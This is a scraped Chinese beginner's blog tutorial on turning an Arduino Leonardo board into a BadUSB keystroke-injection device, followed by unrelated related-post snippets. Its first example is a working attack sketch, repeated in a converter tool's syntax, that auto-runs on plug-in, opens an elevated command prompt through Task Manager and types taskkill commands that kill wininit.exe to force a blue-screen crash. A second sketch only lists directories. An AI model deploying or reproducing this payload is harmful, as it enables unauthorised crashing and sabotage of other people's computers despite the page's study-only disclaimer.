BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具

2023-11-09

说明

本文章仅供学习交流,请勿用于非法用途

我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board

程序编写工具 https://download.csdn.net/download/weixin_45447477/16617234(使用教程在下面)

官网购买地址 https://www.thanksbuyer.com/cjmcu-beetle-arduino-leonardo-usb-atmega32u4-mini-size-development-board-35975
在这里插入图片描述

软件-Arduino

Kali下自带
Windows下 官网下载地址 https://downloads.arduino.cc/arduino-1.8.13-windows.exe

开始制作

打开Arduino
在工具中择开发板 ‘Arduino Leonardo’
在这里插入图片描述
然后选择端口
在这里插入图片描述
然后就可以编写程序了

接下来是一些示例

1.蓝屏

#include <Keyboard.h>
void setup() {
	Keyboard.begin();   //开始
	delay(2000);   //等待两秒
	Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
	Keyboard.press(KEY_LEFT_SHIFT);   //按下左边的Shift键
	Keyboard.press(KEY_ESC);   //按下ESC键
	Keyboard.releaseAll();   //松开所有按下的键(Ctrl,Shift,ESC)
	//以上代码执行结果: 打开任务管理器
	delay(500);   //等待0.5秒 作用: 等待任务管理器启动
	Keyboard.press(KEY_LEFT_ALT);   //按下左边的Alt键
	Keyboard.press('f');   //按下f键
	Keyboard.release('f');   //松开f键
	Keyboard.press('n');   //按下n键
	Keyboard.releaseAll();   //松开所有(n,Alt)
	delay(500);  //等待0.5秒 作用: 等待运行的启动
	Keyboard.press(KEY_TAB);   //按下Tab键
	Keyboard.release(KEY_TAB);   //松开Tab键
	Keyboard.press(' ');   //按下空格键
	Keyboard.release(' ');   //松开空格键
	//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
	//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);   //利用CapsLock绕过输入法
	Keyboard.println("cmd");   //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
	delay(500);  //等待0.5秒 作用: 等待cmd的启动
	Keyboard.println("taskkill /f /fi \"pid ne 1\"");   //在cmd中输入蓝屏指令
	Keyboard.println("taskkill /f /im wininit.exe");   //指令2(其实一个就够了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);
	Keyboard.end();   //结束
}

void loop() {
  // put your main code here, to run repeatedly:
}

2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁

#include <Keyboard.h>
void setup() {
  pinMode(13, OUTPUT);   //这行加上void loop()下面都是LED闪烁
  Keyboard.begin();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  //以上三行: 打开运行
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_F11);
  Keyboard.release(KEY_F11);
  //以上两行: 全屏(Win10有效)
  Keyboard.println("color 4");
  Keyboard.println("dir/s");
  Keyboard.println("tree d:");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
  digitalWrite(13, HIGH);
  delay(300);   //点亮时间
  digitalWrite(13, LOW);
  delay(300);  //熄灭时间
}

写入到BadUSB

点击有向左箭头的按钮即可写入
在这里插入图片描述
看到上传成功字样就大功告成了!
注意: 上传后BadUSB会立即执行一遍代码
在这里插入图片描述

编写工具使用教程

工具下载地址在文章开头

拿前面的蓝屏的示例来说:
只需在一个名为file.txt的文本文档中输入:

\2000
=lc
=ls
=esc
--
\500
=la
=f
-f
=n
--
\500
=tab
= 
- 
=clk
-clk
cmd
\500
taskkill /f /fi \"pid ne 1\"
taskkill /f /im wininit.exe
=clk
-clk

总结:

=+要按下的键】
-+要松开的键】
-- 松开全部
\ 【+等待时间】
直接输的话是输入

按键列表(一般都是开头字母除非只有一个单词如enter)'lc':'LEFT_CTRL'
'ls':'LEFT_SHIFT'
'la':'LEFT_ALT'
'rcl':'RIGHT_CTRL'
'rs':'RIGHT_SHIFT'
'ra':'RIGHT_ALT'
'clk':'CAPS_LOCK'
'tab':'TAB'
'bs':'BACKSPACE'
'lwin':'LEFT_GUI'
'rwin':'RIGHT_GUI'
'esc':'ESC'
'enter':'RETURN'  //return就是enter
'del':'DELETE'

编写完成后,将工具与file.txt放在同一目录下,运行工具,生成的file.ino就是可运行的badusb程序,如果没有的话刷新一下就好了

创作不易,点个赞再走呗

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具 的相关文章

  • 如何返回变量?

    我正在编写一个程序 将字母翻译成摩尔斯电码 然后将它们传输到 LED 并闪烁 我无法返回值 include
  • 如何使用 PHP 读取串口 [重复]

    这个问题在这里已经有答案了 如何使用 php 从连接到我的服务器 运行 kali linux 的旧笔记本电脑 上的 COM 端口的 arduino 读取串行数据 以便我可以在网页上显示数据 我读过有关同一问题的其他问题 所有这些问题要么超级
  • Arduino:将数据存储在 EEPROM 中的轻量级压缩算法

    我想将大量数据存储到我的 Arduino 上ATmega168 http www atmel com devices atmega168 aspx ATmega328 http www atmel com devices atmega328
  • C++ 递减单字节(易失性)数组的元素不是原子的!为什么? (另外:如何在 Atmel AVR mcus/Arduino 中强制原子性)

    由于试图通过一些我不知道的简单内容来调试我的代码 我损失了几天的时间 实际上是大约 25 小时的工作 事实证明 在 AVR ATmega328 8 位微控制器 Arduino 上 用 C 递减单字节数组的元素不是原子操作 并且需要原子访问防
  • 如何在Arduino上将int转换为字符串?

    如何转换 int n 到一个字符串 以便当我通过串行发送它时 它作为字符串发送 这是我到目前为止所拥有的 int ledPin 13 int testerPin 8 int n 1 char buf 10 void setup pinMod
  • 如何在 Arduino 上比较 __FlashStringHelper* 和 char*?

    我有一个将文本行输出到串行的板 我需要将这些文本行与我所知道的文本进行比较 本质上 我想做strcmp thestring F knownstring 但是似乎没有一个采用 FlashStringHelper 类型的 strcmp 版本 有
  • 如何将 ASCII char 转换为其 ASCII int 值?

    我想将 char 转换为它的ASCII http en wikipedia org wiki ASCIIint 值 我可以用所有可能的值填充一个数组并与其进行比较 但这对我来说似乎不正确 我想要类似的东西 char mychar k pub
  • Android BLE 扫描与 UUID 过滤器列表混淆

    我正在 Android 移动设备 A 上执行 UUID 过滤扫描 并且有两个测试用例 一个人在另一台 Android 设备 移动设备 b 上使用名为 BLE Scanner 的应用程序来创建具有两个测试服务 每个服务都有自己唯一的 UUID
  • 带/不带类的回调函数指针 C++

    我被困 我正在尝试形成一个函数 它将吃掉无类函数指针和对象中的函数指针 这是我当前的代码 希望能解释更多 它应该在 Arduino 上运行 所以我不能使用大型库 首先 我在 Arduino 上使用这个库 SimpleTimer A time
  • C#读取Arduino

    我正在尝试制作一个从 Arduino 读取传出信号的应用程序 但我无法使其在 C 中工作Windows 窗体 http en wikipedia org wiki Windows Forms 仅在控制台中 我的 C Windows 窗体代码
  • 如何为 Arduino 或类似的微控制器编写 JavaScript 编译器? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我意识到这个问题会引起一些人的注意 并且我意识到 JavaScript 传统上是一种解释性语言 请让我解释一下 我是一名专门从事 We
  • 使用 SPIFFS 加载文件时出现问题 (ERR_CONTENT_LENGTH_MISMATCH)

    好吧 这两天我一直在研究这个问题 但我仍然觉得我一无所获 我最近开始使用SPIFFS 文件系统 for Arduino开发于呼扎 ESP8266像FSBrowser ino例如 虽然它在分离代码方面非常出色 但随着我的代码不断增长 它在稳定
  • 使用 Java 控制 Arduino

    我正在寻找一个LED http en wikipedia org wiki Light emitting diode用Java程序打开和关闭 我用 C 完成了这个项目大约 5 分钟 但用 Java 似乎更具挑战性 我让 Arduino 等待
  • SIM900 GSM/GPRS 未获得正确的 AT+CREG?回答

    我使用的是带有 IComsat SIM900 GSM GPRS 扩展板的 Arduino UNO 使用以下教程 Arduino 实时 GPS 追踪器 http www samaria me uk 2011 12 arduino live g
  • 在声明对象之前在全局函数中使用类的成员函数

    我有一个事件处理函数 在该函数中调用了类的成员函数 事件处理函数在类 cpp 文件中声明 但不是类的一部分 它不是成员函数 当我编译代码时 编译器表示该函数在范围内 因为它正在调用全局事件处理函数中的成员函数 我的问题如下 有没有办法在全局
  • Arduino串口数据解析

    我正在编写一个应用程序 通过蓝牙用我的 Android 手机控制我的机器人 一切都很顺利 数据得到回显和验证 但我在协议方面遇到了一些问题 特别是我希望我的机器人的轮子在我发送时转动一个命令 例如s 10 100 or s 30 10 数值
  • Arduino C++ 代码:可以使用虚函数和异常吗?

    跟进这条评论 https stackoverflow com questions 452139 writing firmware assembly or high level 452401从问题中编写固件 汇编还是高级 https stac
  • Python串口通信

    我正在开发一个 Arduino 项目 由于内存限制 我将其与 Python 脚本连接起来 在Python方面 我有一个二维矩阵 其中包含各自的x y坐标值 并且在此列表中有26000个坐标对 因此 为了向大家澄清数据结构 pathlist
  • 如何在 Arduino 中将 char 变量作为数字打印到串行端口?

    我正在使用 Arduino Uno 我正在从 EEPROM 读取一个字节值并将该值存储在类型变量中char 1 字节 我想将变量的值作为数字 而不是相应的 ASCII 代码 打印到串行监视器 例如考虑char val 5 我想查看串行监视器
  • 如何使用基于HM-10蓝牙模块的BLE Shield?

    我是 arduino 项目的新手 我想请你帮忙 我从 http imall iteadstudio com development platform arduino shields im130704001 html http imall i

随机推荐

  • 自学Unity游戏开发日记

    Unity游戏开发的启蒙老师是麦扣老师 在bilibili 讲的非常的棒 后悔没有早点发现麦扣老师 第一个案例游戏 Sunny Land 印象最深的问题 在按下空格进行跳跃时 跳不起来 或者说偶尔能跳起来 这是因为GetButtonDown
  • 虚拟机安装windows11

    前言 在日常工作中有的时候需要在虚拟环境里使用windows系统 因为在虚拟环境里不存在病毒传播或者搞坏C盘后数据丢失情况 所以在虚拟机里安装windows 是一个必备技能 根据生活 乱编的 下载 windows11地址 首先安装一个迅雷
  • 如何使用计算机做海报,用word做的海报步骤_word怎么设计海报

    5 用word做招聘海报 首先先打开wps软件或者是新建一个word文档 如果你想打印一张出租 出售之类的广告的话最好是打印横版的 因为这类的广告文字比较少 横向排版有帮于把文字的大小放到最大 点击页面布局 选择其中的纸张方向 在弹出的纸张
  • 数据库表结构设计方法

    author skate time 2011 02 12 数据库表结构设计方法 当我们设计一个数据库存储模式时 要仔细分析数据模式 不要一股脑的把所有的数据都放在一起 那样的话对系统的可用性 高效能 扩展性都会有严重的影响 当然你设计的系统
  • Python 深度学习实战:75个有关神经网络建模、强化学习与迁移学习的解决方案

    深度学习正在为广泛的行业带来革命性的变化 对于许多应用来说 深度学习通过做出更快和更准确的预测 证明其已经超越人类的预测 本书提供了自上而下和自下而上的方法来展示深度学习对不同领域现实问题的解决方案 这些应用程序包括计算机视觉 自然语言处理
  • 中医蜂疗新起点,新思路,新未来

    2021年10月22日 24日由世界中医药学会联合会蜂疗专业委员会 中国民族医药学会主办的蜂界年度盛会 第三届世界蜂疗大会暨世界中联蜂疗专业委员会换届大会暨第四届学术年会 中国民族医药学会蜂疗分会换届会议暨2021年学术年会在庄严的首都北京
  • Golang交叉编译中的那些坑

    最近两个月 一直在搞项目的国产化移植 把golang开发好的程序 运行在国产化平台上 操作系统基本都是基于Linux 但是CPU架构除了x86 还有ARM和MIPS 我们平时的Golang都是运行于x86 x64 架构的CPU上 因此移植过
  • android 自定义滑动按钮控件

    在很多时候我们看到在iphone手机应用中都有滑动开启和关闭这个功能 在android40以下的版本中且没有这个功能 但是android手机在使用的多是4 0以下的系统 所以为了满足需求 我们自己设计自定的滑动开启和关闭按钮 第一步 创建一
  • JS正则表达式用星号*替换字符串开头或结尾几个字符

    let str 1234567890 console log 原字符串 str console log 替换前3位 str replace 3 console log 替换后4位 str replace 4 console log 替换前3
  • 【EMC基础篇①】噪声是什么?EMC是什么?噪声损害是电子社会的现代病

    EMC基础篇 噪声是什么 EMC是什么 噪声损害是电子社会的现代病 电脑的通信错误 手机通话突然断开 您有过类似的经验吗 我们周围充斥着噪声 它们会通过各种线路侵入电子设备 引发故障 那么 这些看不见的噪声的真身是什么 本周为您带来3篇关于
  • js设计模式基础篇(四)之高阶函数

    高阶函数 高阶函数是指至少满足下列条件之一的函数 函数可以作为参数被传递 函数可以作为返回值输出 函数作为参数传递 把函数当作参数传递 这代表我们可以抽离出一部分容易变化的业务逻辑 把这部分业务逻辑放在函数参数中 这样一来可以分离业务代码中
  • 俞敏洪:如果创业者缺乏这8种能力,失败可能性很大

    俞敏洪是一个高明的创业家 他很早就知道 做什么生意都需要用 信仰 做前提来说服目标用户和客户 在他的 愿你的青春不负梦想 中 俞敏洪记录了很多创业的感悟 以下内容是俞敏洪结合自己的创业实践 总结了一个创业者要成功 应该具备哪八种能力 1 目
  • Unity基础

    Unity3D 游戏开发 第一章 基础知识 Unity是一个用于创建游戏和三维互动内容的开发工具 是一个专业游戏引擎 2D游戏 视角锁定 二维坐标 3D游戏 任意视角 三维坐标 虚拟现实 VR 三维空间虚拟世界 通过虚拟设备与虚拟环境事物进
  • adfs服务器获取信息失败,授权给adfs读取ad 在ad服务器上运行

    Because the application pool identity for the AD FS 2 0 AppPool is running as a domain user service account you must con
  • 华为ensp静态路由配置,ssh远程登录配置

    通ping与ssh 实验准备 建立拓扑图 三台路由器 两台pc 配置pc1与pc2 对pc1进行网络配置 设置ip为192 168 226 100 网关为192 168 226 1 ipconfig命令查看pc1配置信息 确认配置成功 配置
  • 刷脸支付带来支付链条变化和交易场景改变

    没赶上POS代理 没赶上扫码支付代理 这些推广人员每年被动收入上百万 现在刷脸支付的风口已来 你是把握还是错过 此外 技术科技进步 带来的支付链条的变化以及交易场景的改变 从而引发第三方支付革命 谁落后谁就会被淘汰 一些新概念有助于刺激消费
  • GNU风格 汇编语法总结

    汇编源程序一般用于系统最基本的初始化 初始化堆栈指针 设置页表 操作 ARM的协处理器等 这些初始化工作完成后就可以跳转到C代码main函数中执行 1 GNU汇编语言语句格式 任何Linux汇编行都是如下结构
  • Datax-web操作指南

    Datax web操作指南 1 登录datax可视化管理系统datax web 网址 http ip 9527 index html dashboard 用户名密码 admin 1 2 使用操作 同步数据的主要操作步骤创建项目 配置数据源
  • mixSeq: A Simple Data Augmentation Method for Neural Machine Translation阅读笔记

    Abstract 数据增强是指通过操纵输入 如添加随机噪声 屏蔽特定部分 来扩大数据集 大多数数据增强技术都是在单一的输入上操作的 这限制了训练语料库的多样性 在本文中 我们提出了一种简单而有效的神经机器翻译数据增强技术 mixSeq 它操
  • BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具

    说明 本文章仅供学习交流 请勿用于非法用途 我用的是CJMCU Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board 程序编写工具 https download